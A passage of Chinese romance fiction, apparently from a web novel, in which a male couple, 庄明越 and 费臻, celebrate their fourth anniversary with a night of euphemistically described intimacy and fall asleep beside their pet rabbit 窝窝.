庄明越点头,把玫瑰放到餐桌上的花瓶里,回头对费臻说:“我有时候会想,如果那天晚上,我没去那条巷子,会怎么样?”
费臻摇摇头,走上前去,抱住庄明越,在他面上亲了一口。
“既然是命运的安排,那我们早晚都能相遇。”
庄明越把脸埋在他肩上,发问:“今晚可以几次?”
费臻笑着回答:“都是纪念日了,当然应该解禁了。”
忘记是谁先开始的,到后来演变成费臻把庄明越约束了起来,温柔又带着掌控欲,像是要把这四年来的喜欢,用行动来完全证明。
庄明越也不甘示弱,二回合时反客为主,一点一点地亲过去。亲到对方呼吸乱了,眼神涣散,才开始接下来的事。
纠缠着,在很多地方留下印记。
窝窝被吵醒,竖起耳朵听了半天,确定没有危险,又放心地入睡。
天亮时,二人总算结束了酣战,一起去洗了澡,在浴缸又没有忍住,出来后互相发誓,未来的一周要修身养性,唯有节制才能细水长流。
庄明越拍了拍费臻的脸蛋,示意他看不远处窝窝的小窝。
小兔正趴在它的小垫子上,睡得翻白眼,两只耳朵时不时地往上翻两下,像在梦里听到主人的呼唤。
费臻:“可可爱爱,好像你。”
庄明越:“长得好看,也像你。”
二人说了一会儿迟来的夜话,相拥入眠。
梦里的他们和窝窝,有许许多多下一个四年。